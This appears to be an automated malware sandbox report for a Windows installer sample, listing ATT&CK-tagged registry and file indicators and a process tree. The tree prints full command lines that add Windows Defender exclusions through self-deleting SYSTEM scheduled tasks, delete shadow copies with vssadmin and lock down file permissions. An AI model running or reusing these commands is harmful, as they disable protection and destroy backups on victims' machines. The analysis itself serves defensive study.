ecdd5f10d2476a7ac0a656cc8fa87ba8cbabe3071f89970414d0bb13f8135d99

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	bChbal.exe

Windows security bypass 2 TTPs 6 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\EK4tbB = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	bChbal.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	bChbal.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\International\Geo\Nation	MIqaD4.exe

Executes dropped EXE 5 IoCs

pid	Process
6108	MIqaD4.exe
3328	MIqaD4.exe
4544	bChbal.exe
5412	bChbal.exe
4172	C17x61TY6.exe

Loads dropped DLL 5 IoCs

pid	Process
6108	MIqaD4.exe
3328	MIqaD4.exe
4544	bChbal.exe
4172	C17x61TY6.exe
5412	bChbal.exe

Modifies file permissions 1 TTPs 15 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
6128	icacls.exe
5128	icacls.exe
2352	icacls.exe
3092	icacls.exe
980	icacls.exe
5668	icacls.exe
4344	icacls.exe
1728	icacls.exe
1328	icacls.exe
3328	icacls.exe
712	icacls.exe
744	icacls.exe
4664	icacls.exe
2408	icacls.exe
4088	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

discovery defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\EK4tbB\\MIqaD4.exe\""	MIqaD4.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\bChbal\\bChbal.exe\""	bChbal.exe

Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
2348	cmd.exe
4056	cmd.exe
2712	cmd.exe
3356	cmd.exe
4504	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	MIqaD4.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\bChbal	MIqaD4.exe
File created	C:\Program Files (x86)\bChbal\thumbs.db	MIqaD4.exe
File created	C:\Program Files (x86)\F3c5b1JM\C17x61TY6.exe	bChbal.exe
File opened for modification	C:\Program Files (x86)\F3c5b1JM\thumbs.db	bChbal.exe
File created	C:\Program Files (x86)\bChbal\bChbal.exe	MIqaD4.exe
File opened for modification	C:\Program Files (x86)\bChbal\XPSPLOG.dll	MIqaD4.exe
File opened for modification	C:\Program Files (x86)\bChbal\thumbs.db	MIqaD4.exe
File opened for modification	C:\Program Files (x86)\F3c5b1JM	bChbal.exe
File created	C:\Program Files (x86)\F3c5b1JM\thumbs.db	bChbal.exe
File created	C:\Program Files (x86)\bChbal\XPSPLOG.dll	MIqaD4.exe
File created	C:\Program Files (x86)\bChbal\image.png	MIqaD4.exe
File opened for modification	C:\Program Files (x86)\bChbal\image.png	MIqaD4.exe
File created	C:\Program Files (x86)\F3c5b1JM\image.png	bChbal.exe
File created	C:\Program Files (x86)\F3c5b1JM\XPSPLOG.dll	bChbal.exe
File opened for modification	C:\Program Files (x86)\F3c5b1JM\XPSPLOG.dll	bChbal.exe
File opened for modification	C:\Program Files (x86)\bChbal\bChbal.exe	MIqaD4.exe
File opened for modification	C:\Program Files (x86)\F3c5b1JM\C17x61TY6.exe	bChbal.exe
File opened for modification	C:\Program Files (x86)\F3c5b1JM\image.png	bChbal.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	bChbal.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\SCRNSAVE.EXE	bChbal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\ScreenSaveActive = "0"	bChbal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	bChbal.exe

Executes a command shell one-liner 1 TTPs 23 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5392	cmd.exe
5516	cmd.exe
3764	cmd.exe
1624	cmd.exe
4116	cmd.exe
4528	cmd.exe
656	cmd.exe
5572	cmd.exe
4712	cmd.exe
3712	cmd.exe
5696	cmd.exe
3008	cmd.exe
6060	cmd.exe
4140	cmd.exe
3372	cmd.exe
5188	cmd.exe
1128	cmd.exe
1848	cmd.exe
3512	cmd.exe
5764	cmd.exe
4956	cmd.exe
5084	cmd.exe
1168	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MIqaD4.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	bChbal.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	bChbal.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.05.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MIqaD4.exe

System Location Discovery: System Language Discovery 1 TTPs 38 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bChbal.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	bChbal.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	C17x61TY6.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	bChbal.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	bChbal.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\ScreenSaveActive = "0"	bChbal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	bChbal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	bChbal.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-939655444-3071939294-1401108526-1000\Control Panel\Desktop\SCRNSAVE.EXE	bChbal.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
3064	schtasks.exe
4224	schtasks.exe
4144	schtasks.exe
1132	schtasks.exe
4908	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
4976	install.2.0.05.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe
6108	MIqaD4.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
672	Process not Found
672	Process not Found
672	Process not Found
672	Process not Found

Suspicious use of WriteProcessMemory 59 IoCs

description	pid	Process	procid_target
PID 6108 wrote to memory of 4504	6108	MIqaD4.exe	96
PID 4504 wrote to memory of 1132	4504	cmd.exe	100
PID 6108 wrote to memory of 2348	6108	MIqaD4.exe	99
PID 4504 wrote to memory of 4640	4504	cmd.exe	102
PID 2348 wrote to memory of 4908	2348	cmd.exe	103
PID 4504 wrote to memory of 972	4504	cmd.exe	105
PID 2348 wrote to memory of 2144	2348	cmd.exe	106
PID 2348 wrote to memory of 1848	2348	cmd.exe	108
PID 6108 wrote to memory of 4056	6108	MIqaD4.exe	109
PID 4056 wrote to memory of 3064	4056	cmd.exe	112
PID 3512 wrote to memory of 2944	3512	cmd.exe	114
PID 6108 wrote to memory of 2712	6108	MIqaD4.exe	115
PID 6108 wrote to memory of 3356	6108	MIqaD4.exe	117
PID 4056 wrote to memory of 2112	4056	cmd.exe	119
PID 2712 wrote to memory of 4224	2712	cmd.exe	121
PID 4056 wrote to memory of 4680	4056	cmd.exe	122
PID 3356 wrote to memory of 4144	3356	cmd.exe	123
PID 2712 wrote to memory of 884	2712	cmd.exe	124
PID 3356 wrote to memory of 2540	3356	cmd.exe	126
PID 2712 wrote to memory of 4364	2712	cmd.exe	127
PID 3356 wrote to memory of 4732	3356	cmd.exe	128
PID 4528 wrote to memory of 3748	4528	cmd.exe	131
PID 656 wrote to memory of 1604	656	cmd.exe	132
PID 6108 wrote to memory of 4544	6108	MIqaD4.exe	133
PID 4544 wrote to memory of 5392	4544	bChbal.exe	136
PID 4544 wrote to memory of 5516	4544	bChbal.exe	139
PID 4544 wrote to memory of 5572	4544	bChbal.exe	141
PID 5516 wrote to memory of 5668	5516	cmd.exe	144
PID 4544 wrote to memory of 4712	4544	bChbal.exe	145
PID 4544 wrote to memory of 3712	4544	bChbal.exe	147
PID 4544 wrote to memory of 5764	4544	bChbal.exe	149
PID 4544 wrote to memory of 5696	4544	bChbal.exe	151
PID 5696 wrote to memory of 712	5696	cmd.exe	153
PID 4544 wrote to memory of 3008	4544	bChbal.exe	154
PID 3008 wrote to memory of 744	3008	cmd.exe	156
PID 4544 wrote to memory of 4956	4544	bChbal.exe	157
PID 4956 wrote to memory of 4344	4956	cmd.exe	159
PID 4544 wrote to memory of 5084	4544	bChbal.exe	160
PID 5084 wrote to memory of 2352	5084	cmd.exe	162
PID 4544 wrote to memory of 4140	4544	bChbal.exe	163
PID 4140 wrote to memory of 4664	4140	cmd.exe	165
PID 4544 wrote to memory of 6060	4544	bChbal.exe	166
PID 6060 wrote to memory of 2408	6060	cmd.exe	168
PID 4544 wrote to memory of 3372	4544	bChbal.exe	169
PID 3372 wrote to memory of 6128	3372	cmd.exe	171
PID 4544 wrote to memory of 5188	4544	bChbal.exe	172
PID 5188 wrote to memory of 5128	5188	cmd.exe	174
PID 4544 wrote to memory of 3764	4544	bChbal.exe	175
PID 3764 wrote to memory of 3092	3764	cmd.exe	177
PID 4544 wrote to memory of 1168	4544	bChbal.exe	178
PID 1168 wrote to memory of 1728	1168	cmd.exe	180
PID 4544 wrote to memory of 1624	4544	bChbal.exe	181
PID 1624 wrote to memory of 1328	1624	cmd.exe	183
PID 4544 wrote to memory of 4116	4544	bChbal.exe	184
PID 4116 wrote to memory of 4088	4116	cmd.exe	186
PID 4544 wrote to memory of 1128	4544	bChbal.exe	187
PID 1128 wrote to memory of 3328	1128	cmd.exe	189
PID 4544 wrote to memory of 1848	4544	bChbal.exe	190
PID 1848 wrote to memory of 980	1848	cmd.exe	192

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	bChbal.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.05.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4976

C:\Users\Public\EK4tbB\MIqaD4.exe
C:\Users\Public\EK4tbB\MIqaD4.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:6108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EK4tbB\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4504
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\EK4tbB\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1132
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2348
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4908
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4056
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3064
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2112
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4224
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:884
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3356
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4144
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2540
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:4732
- C:\Program Files (x86)\bChbal\bChbal.exe
  "C:\Program Files (x86)\bChbal\bChbal.exe"
  2⤵
  - UAC bypass
  - Drops file in Drivers directory
  - Checks BIOS information in registry
  - Executes dropped EXE
  - Loads dropped DLL
  - Adds Run key to start application
  - Drops file in Program Files directory
  - Enumerates video capture drivers
  - Event Triggered Execution: Screensaver
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Checks processor information in registry
  - Modifies Control Panel
  - Suspicious use of WriteProcessMemory
  - System policy modification
  PID:4544
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c vssadmin delete shadows /all /quiet
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5516
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5668
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5572
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:4712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:3712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c echo.>c:\xxxx.ini
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    PID:5764
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5696
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:712
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3008
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:744
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /inheritance:r
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4956
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /inheritance:r
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:4344
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5084
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:2352
- - C:\Windows\SysWOW64\cmd.exe
    cmd.exe /c icacls "C:\Program Files (x86)\bChbal\bChbal.exe" /grant:r Users:(RX) /deny Users:(DE)
    3⤵
    - Executes a command shell one-liner
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:4140
  - - C:\Windows\SysWOW64\icacls.exe
